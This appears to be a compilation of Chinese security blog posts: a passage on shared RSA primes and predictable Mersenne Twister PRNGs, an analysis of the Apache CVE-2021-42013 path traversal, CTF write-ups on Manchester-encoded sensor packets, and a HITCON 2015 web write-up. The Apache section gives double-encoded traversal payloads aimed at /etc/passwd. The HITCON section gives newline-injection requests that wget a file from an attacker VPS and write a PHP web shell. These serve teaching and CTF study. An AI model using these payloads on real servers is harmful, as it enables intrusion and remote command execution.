如果两个系统的种子相同,运行上述代码后会生成相同的p,q,也就会生成相同的n。而只有研究人员发现的,在不同密钥中存在共享素数,则是因为在密钥生成过程中注入了额外的熵,如下所示
如果两个系统使用相同的种子运行上述代码,会生成相同的p,但是由于prng.add_entropy()注入了熵,会得到不同的q
对于n=pq,n'=pq'的情况,会有什么为题呢?
这里的关键在于,通过计算n和n‘的最大公约数就可以恢复出p。
非加密PRNG
PRNG很常见,在不涉及密码学的场合中也有其身影,我们可以分为加密PRNG和非加密PRNG。非加密PRNG的作用一般是用于生成良好均匀的分布,常用于科学模型、视频游戏中,它只关心比特之间的概率分布的质量,但是不关心它的可预测性,所以在密码程序中不应使用非加密PRNG.
但是实际上,很多编程语言中都用的是非加密PRNG,比如libc中的rand,drand48,PHP中的rand,mt_rand,Python中的random模运算,Ruby中的Random类等。最常见的非加密PRNG就是Mersenne Twister(MT)算法了,它可以产生没好友统计偏差的符合一致分布的随机比特,但是这些比特是可预测的,给定一些MT产生的一些比特,可以预测接下来会出现哪些比特。
MT算法比加密PRNG简单多了,其内部状态是一个由624个32比特字组成的数组S,其初始值为S1,S2,...S624,运行一次后变为S2,...S625...其中的Sk+624可以通过如下计算:
初始状态的比特可以表示为输出比特之间的异或,反之亦然。
如果将其应用于密码系统则会造成危害。
MediaWiki使用随机性生成诸如安全令牌、临时密码等信息,按理来说,此处的随机性应是不可预测的,但是旧版本的MediaWiki使用了非加密PRNG来生成这些令牌和密码,其源码部分如下
从代码中可以看到mt_rand()
这就是我们一直在说的Mersenne Twister,利用它攻击者就可以预测未来的令牌和临时密码。
参考
1.Shoup V. OAEP reconsidered[C]//Annual International Cryptology Conference. Springer, Berlin, Heidelberg, 2001: 239-259.
2.https://www.semanticscholar.org/paper/Understanding-brute-force-Bernstein/3bf374700ec98ea5d1b7658ec85c472f2fe4d952
3.https://link.springer.com/article/10.1007/s00145-003-0213-5
4.https://dl.acm.org/doi/10.1145/800070.802212
5.https://www.schneier.com/academic/archives/1998/01/cryptanalytic_attack.html
6.https://zh.wikipedia.org/wiki/A5/1
7.https://guidanceshare.com/wiki/Non-cryptographic_PRNG
8.https://www.mediawiki.org/wiki/Manual:Config_script/it
9.https://blog.cryptographyengineering.com/2012/03/09/surviving-bad-rng/
10.https://www.cs.umd.edu/class/fall2018/cmsc818O/papers/ps-and-qs.pdf
CVE-2021-42013 Apache HTTP Server 路径穿越漏洞
前言
CVE-2021-42013为目录穿越文件读取漏洞,影响 httpd 2.4.49,CVE编号为CVE-2021-41773, https 2.4.50不完全修复可绕过,如果开启 mod_cgi 则可RCE。
分析
CVE-2021-41773复现分析如下:
利用网上师傅的docker镜像
docker run -p 8080:80 -d --privileged turkeys/httpd:cve-2021-41773
环境中有安装好的 pwndbg 插件,直接按步调试即可,这里参考Betta师傅的文章
正文
CVE-2021-41773不完全的修复导致了 CVE-2021-42013
可用的 payload 有
/%2%65.//%2%65%2e//.%2%65//%2e%2%65/ /%2%65%2%65//%%32e%%32e//%25%32%65%25%32%65/ # 无法生效 ap_normalize_path 不能将 %25 进行url解码处理后为 %
我们注意到 https 2.4.50 中添加了补丁
添加的补丁是对 .%2e 和 %2e%2e 进行了校验,但是我们在 request.c 中注意到还会调用 ap_unescape_url 来对 url 进行又一次的编码,所以通过两次编码就可以绕过
request.c::ap_process_request_internal
util.c:ap_normalize_path
返回结果为一次编码后的结果
util.c:ap_unescape_url
util.c:ap_unescape_url
我们看到此时保存值的指针地址 0x7fa06c00a1f0 ◂— '/cgi-bin/%2e./%2e./%2e./%2e./%2e./etc/passwd'
函数执行结束后 打印出 0x7fa06c00a1f0 对应的值
发现已经对 url 进行了再一次的解码
命令执行
在 /etc/httpd/httpd.conf 配置文件中去掉 mod_cgid.so 的注释
结语
至此,CVE-2021-42013的漏洞分析到此结束,如有不当感谢师傅指出!!!
参考链接
https://mp.weixin.qq.com/s/IYbaDLrMJBT0yb4xT3UYWg
crypto之曼彻斯特编码
通过对数字信号进行编码来表示数据,不归零编码、曼切斯特编码、差分曼切斯特编码都是其编码方式。
差分曼彻斯特编码是一种使用中位转变来计时的编码方案。数据通过在数据位开始处加一转变来表示。令牌环局域网就利用差分曼彻斯特编码方案。 在 每个时钟周期的中间都有一次电平跳变,这个跳变做同步之用。 在每个时钟周期的起始处:跳变则说明该比特是0,不跳变则说明该比特是1。 差分曼彻斯特编码的优点为:收发双方可以根据编码自带的时钟信号来保持同步,无需专门传递同步信号的线路,因此成本低;缺点为:实现技术复杂。
曼彻斯特编码(Manchester Encoding),也叫做相位编码(PE),是一个同步时钟编码技术,被物理层使用来编码一个同步位流的时钟和数据。曼彻斯特编码被用在以太网媒介系统中。曼彻斯特编码提供一个简单的方式给编码简单的二进制序列而没有长的周期没有转换级别,因而防止时钟同步的丢失,或来自低频率位移在贫乏补偿的模拟链接位错误。在这个技术下,实际上的二进制数据被传输通过这个电缆,不是作为一个序列的逻辑1或0来发送的(技术上叫做反向不归零制(NRZ))。相反地,这些位被转换为一个稍微不同的格式,它通过使用直接的二进制编码有很多的优点。
差分曼彻斯特编码,每位中间的跳变仅提供时钟定时,而用每位开始时有无跳变表示"0"或"1",有跳变为"0",无跳变为"1"。
曼彻斯特编码的编码规则是:在信号位中电平从低到高跳变表示1,在信号位中电平从高到低跳变表示0。
这个图就单独的表示曼彻斯特编码的0,1原理图 从低到高就是0,从高到低就是1
看曼彻斯特就简单的分成一段一段看他上升还是下降就可以表示出来
而差分曼彻斯特要看他前一个信号的值,比如这图里第一个就是不跳就用1表示,第二个信号从底下升到高处就跳了表示0,第三个也是不跳用1表示,第4个同理也是1,第5个跳了就是0。而差分的意思应该就是要把一段内拆成两段只看前一段,而后一半是用来同步时钟用的,顺便可以传输下一个数据来表示是否有跳
再来看下三种信号的区别
在来说下802.3曼彻斯特和标准曼彻斯特的区别,就是编码后的字符的区别。 第一种G. E. Thomas, Andrew S. Tanenbaum1949年提出的,它规定0是由低-高的电平跳变表示,1是高-低的电平跳变。 按此规则有:
• 编码0101(即0x5),表示原数据为00;
• 编码1001(0x9)表示10;
• 编码0110(0x6)表示01;
• 编码1010(0xA)表示11。
第二种IEEE 802.4(令牌总线)和低速版的IEEE 802.3(以太网)中规定, 按照这样的说法, 低-高电平跳变表示1, 高-低的电平跳变表示0。
• 编码0101(0x5)表示11;
• 编码1001(0x9)表示01;
• 编码0110(0x6)表示10;
• 编码1010(0xA)表示00;
顺便推荐一个可解,差分曼彻斯特和标准曼彻斯特和802.3曼彻斯特 http://www.pc6.com/softview/SoftView_606143.html
BUUOJ-Crypto-传感器
5555555595555A65556AA696AA6666666955
这是某压力传感器无线数据包解调后但未解码的报文(hex)
已知其ID为0xFED31F,请继续将报文完整解码,提交hex。
提示1:曼联
去网上抄了个脚本,这个脚本的转换其实就是应用了802.3曼彻斯特的规则取了1和3位,题目里给了id的话,可以看flag解出来是否含有id?吗,相当于校验是否正确的一个功能。
cipher='5555555595555A65556AA696AA6666666955'
def iee(cipher):
tmp=''
for i in range(len(cipher)):
a=bin(eval('0x'+cipher[i]))[2:].zfill(4) #补齐四位方便取1和3位
tmp=tmp+a[1]+a[3] #加上1和3位,就是应用了802.3的規則,或者定义一个字典替换也可以
print(tmp)
plain=[hex(int(tmp[i:i+8][::-1],2))[2:] for i in range(0,len(tmp),8)]
print(''.join(plain).upper())
iee(cipher)
# tmp="111111111111111101111111110010111111100000100110000010101010101010011111"
# flag=""
# for i in range(0,len(tmp),8):
# # plain=hex(int(tmp[i:i+8][::-1],2))[2:]
# # print(''.join(plain).upper())
# flag+=((hex(int(tmp[i:i+8][::-1],2)))[2:])
# print(flag.upper())
或者用工具也可以直接出
CISCN(全国大学生信息安全竞赛) 2016 传感器2
现有某ID为0xFED31F的压力传感器,已知测得压力为45psi时的未解码报文为:
5555555595555A65556A5A96AA666666A955 压力为30psi时的未解码报文为: 5555555595555A65556A9AA6AA6666665665 请给出ID为0xFEB757的传感器在压力为25psi时的解码后报文,提交hex。
注:其他测量读数与上一个传感器一致。
tips:flag是flag{破译出的明文}
根据进制转换,转成十进制差5的话就是11
0xFED31F
45psi fffffed31f635055f8
30psi fffffed31f425055d7
找到两个psi差的地方,相减,括号内是十进制的数
f8(248)-d7(215)=0x21(33)
63(99)-42(66)=0x21(33)
15差33的话,5就是差11。除3即可
15 33
5 11
0xFEB757
CC=215-11
37=66-11
拿差值替换掉
25psi fffffed31f375055CC
把检验位直接替换掉
fffffeb757375055cc
转成大写
FFFFFEB757375055CC
CISCN(全国大学生信息安全竞赛) 2017 传感器1
已知ID为0x8893CA58的温度传感器的未解码报文为:3EAAAAA56A69AA55A95995A569AA95565556 此时有另一个相同型号的传感器,其未解码报文为:3EAAAAA56A69AA556A965A5999596AA95656 请解出其ID,提交flag{hex(不含0x)}。
先把给的字符串转成以一位字符串转为4位2进制的01数字。然后在以两位分割,因为差分曼彻斯特编码后面的数据是同步时钟和决定下一个传输的数据的,所以加进去之后。还要等于cc,让他继续下一步的操作,判断是否为01就是是否有跳。bintohex函数就是把01数据转为字符串。可以看下面另一个脚本的单独操作
#coding:utf-8
import re
#hex1 = 'AAAAA56A69AA55A95995A569AA95565556' # # 0x8893CA58
hex1 = 'AAAAA56A69AA556A965A5999596AA95656'
def bintohex(s1):
s2 = ''
s1 = re.findall('.{4}',s1)
print ('每一个hex分隔:',s1)
for i in s1:
s2 += str(hex(int(i,2))).replace('0x','')
print ('ID:',s2)
def diffmqst(s):
s1 = ''
s = re.findall('.{2}',s)
cc = '01'
for i in s:
if i == cc:
s1 += '0'
else:
s1 += '1'
cc = i # 差分加上cc = i
print ('差分曼切斯特解码:',s1)
bintohex(s1)
if __name__ == '__main__':
bin1 = bin(int(hex1,16))[2:]
diffmqst(bin1)
在贴一个脚本
str1 = '3EAAAAA56A69AA556A965A5999596AA95656'
s = ''
for i in xrange(len(str1)/2):
ch = str1[i*2 : i*2+2]
b = bin(int(ch, 16))[2:]
b = '0' * (8-len(b)) + b
s += b
print 's:'+s
r = ''
#因为此处除了前六位都是10和01,很明显是曼彻斯特,因而把前六位去掉即可看到正确的结果
s = s[6:]
print 's:'+s
for i in xrange(len(s)/2-1):
c = s[i*2+1 : i*2+3]
if c == '11' or c=='00':
r += '1'
else:
r += '0'
print "r:"+r
ret =''
for i in xrange(len(r)/8):
c = r[i*8 : i*8+8]
print str(r[i*8 : i*8+8]) + ' ' + c
ret += hex(int(c, 2 ))[2:].upper()
print ret
左边去掉5个字符,右边去掉4个字符
str="10000000001001001101100010000100010110101011111100110100000100011001"
a=0
flag=""
for i in range(0,len(str)/4):
# print(str[0+(i*4):4+(i*4)])
# a+=1
flag+=hex(int(str[0+(i*4):4+(i*4)],2))[2:]
# print(hex(int(str[0+(i*4):4+(i*4)],2))[2:])
# print(str[4:8])
print(flag)
或者就是直接上工具
CISCN(全国大学生信息安全竞赛) 2017 传感器2
已知ID为0x8893CA58的温度传感器未解码报文为:3EAAAAA56A69AA55A95995A569AA95565556
为伪造该类型传感器的报文ID(其他报文内容不变),请给出ID为0xDEADBEEF的传感器1的报文校验位(解码后hex),以及ID为0xBAADA555的传感器2的报文校验位(解码后hex),并组合作为flag提交。
例如,若传感器1的校验位为0x123456,传感器2的校验位为0xABCDEF,则flag为flag{123456ABCDEF}。
0024D 8893CA58 41 81
0024D 8845ABF3 41 19
把上一题的数据拿过来查看,格式应该是0024+id+41+xx(校验)
其他格式都是固定的,即可判别最后两位为校验
把题目给的数据,分开找到校验的值。如果是按一位=4位,即为8位,可以尝试crc8
>>> bin(int('A',16))
'0b1010'
可以看到就是等于校验值的
直接就拿题目要求的替换掉id即可
0xDEADBEEF
024DDEADBEEF41
0xBAADA555
024DBAADA55541
>>> hex(c8(binascii.unhexlify('024DDEADBEEF41')))
'0xb5'
>>> hex(c8(binascii.unhexlify('024DBAADA55541')))
'0x15'
http://www.ip33.com/crc.html
参考链接: [1] https://blog.csdn.net/qq_37790902/article/details/79616450
[2] https://blog.csdn.net/Enderman_xiaohei/article/details/104331317
[3] http://www.pc6.com/softview/SoftView_606143.html
[4]https://blog.csdn.net/zz_Caleb/article/details/89331290
[5]https://zhuanlan.zhihu.com/p/27827585
[6]https://blog.csdn.net/qq_43165101/article/details/97395191
如何巧用vps解题?
前言
对于Web方向的选手来说,拥有一台vps可以快速解决一些RCE问题,本篇文章所演示的是2015年HITCON的一道web题,虽然时隔有些久,但是这题所利用的trick以及RCE的思路,仍然值得我们去学习。
初步审计
题目代码如下:
<?php
highlight_file(__FILE__);
$dir = 'sandbox/' . $_SERVER['REMOTE_ADDR'];
if ( !file_exists($dir) )
mkdir($dir);
chdir($dir);
$args = $_GET['args'];
for ( $i=0; $i<count($args); $i++ ){
if ( !preg_match('/^\w+$/', $args[$i]) )
exit();
}
exec("/bin/orange " . implode(" ", $args));
?>
题目代码比较短,一共就15行代码,但实际上最关键的代码就只有两行,如下:
if ( !preg_match('/^\w+$/', $args[$i]) )
exec("/bin/orange " . implode(" ", $args));
一个是正则匹配,一个是exec的命令执行
首先先看正则部分/^\w+$/,这一部分要求传入的args参数必须以字母数字下划线开头,除此之外,在最后还有一个美元符号$,需要明确的是:$符号在PCRE中是会匹配\n以及\r前的位置的,结合后面exec命令执行的部分,也就是说,我们可以使用换行符%0a绕过执行其他命令。
但是如果本题在正则表达式后加一个D修饰符,那么就无法使用%0a绕过,具体测试样例如下,这里就不过多阐述了,因为题目中没有这个修饰符。
echo preg_match("/^\w+$/", "abc".chr(10));//1
echo preg_match("/^\w+$/D", "abc".chr(10));//0
其次再粗略看一下命令执行的部分,这里命令执行的部分使用exec,单单使用一个exec是无法将命令执行的结果回显出来,因此在后续做题就可能会产生这么几种思路:数据外带、写入shell等等
数据外带
首先分析一下数据外带,多数情况下想要尝试数据外带都需要使用一些特殊的字符,例如使用反引号外带至dnslog,不过本题正则不允许args传入,因此数据外带这个方法行不通
写入shell
想要使用写入shell方法完成本题,还是有两种方式,一种方式就是使用echo 'xxx' > xx.php,然而这题正则过滤了这些字符,因此可以使用另一种方法,就是将下载远程服务器上的文件,通过一些操作进行RCE
详解RCE
本题官方解所使用的思路就是:下载远程服务器上的文件,通过一些操作进行RCE,具体是哪些操作下面会说到。
首先我们现在本地服务器上测试,此时新建一个php文件,命名为1.php,内容如下:
<?php
echo 3 * 4;
echo "\n";
?>
然后将1.php放入一个文件夹a中
这个时候我们将文件夹a利用tar打包,注意是打包,不是压缩
tar cf b a
将文件夹a打包,并且生成b
打包之后结果如下:
此时我们直接使用php命令去执行这个b
看一下最后的12,就是前面1.php的执行结果3 * 4 = 12
那么为什么可以直接执行b这个文件呢?
其实我们可以直接使用cat查看b中的文件
可以看到,b文件中存在之前写入的1.php的代码
这个时候我们总结一下这个方法,全程使用的命令对于正则/^\w+$/都是合法的,并且1.php中的内容可控,因此可以通过这个方法写入shell
因此,对于解题来说,解题流程如下:
首先在vps中新建一个index.html,文件内容如下:
<?php
file_put_contents('shell.php', '
<?php
header("Content-Type: text/plain");
print shell_exec($_GET["cmd"]);
?>
');
?>
然后在vps中启动http服务
python3 -m http.server 80
由于ip都是6.6.6.6的形式,带.,不符合正则,因此可以使用十进制ip绕过
<?php
echo ip2long("6.6.6.6");
?>
//101058054
然后先新建一个upload目录,对应上面测试的a
?args[]=l%0a&args[]=mkdir&args[]=upload
然后进入upload目录,利用wget下载vps上的index.html
?args[]=l%0a&args[]=cd&args[]=upload%0a&args[]=wget&args[]=101058054
//注意:最后一个args为vps十进制ip值
将upload目录打包,打包后的名称为b
?args[]=l%0a&args[]=tar&args[]=cvf&args[]=b&args[]=upload
//将upload目录打包为b
在执行b目录,写入shell
?args[]=l%0a&args[]=php&args[]=b
//执行b,写入shell
这题本质上是利用了tar打包的特性,将下载下来的index.html打包,然后利用php执行
不过这只是官方解,除此之外,在2015年比赛的时候,还有一些队伍使用http302重定向到ftp中,将恶意文件下载到靶机中getshell。
由于Python自带的http.server默认将index.html作为首页,并且无法修改默认首页
但是,还有一种方法就是自建一个web服务器,不使用php解析,且访问80端口的默认文档为shell.php,然后再利用wget下载php文件进行getshell。
总之,方法总比困难多。
参考文章
http://drops.xmd5.com/static/drops/web-9845.html
https://github.com/p4-team/ctf/tree/master/2015-10-18-hitcon/web_100_babyfirst
蚁景网安学院火热招生中,限时领取大额优惠券,快来抢购吧~
扫码咨询客服了解招生最新内容和活动

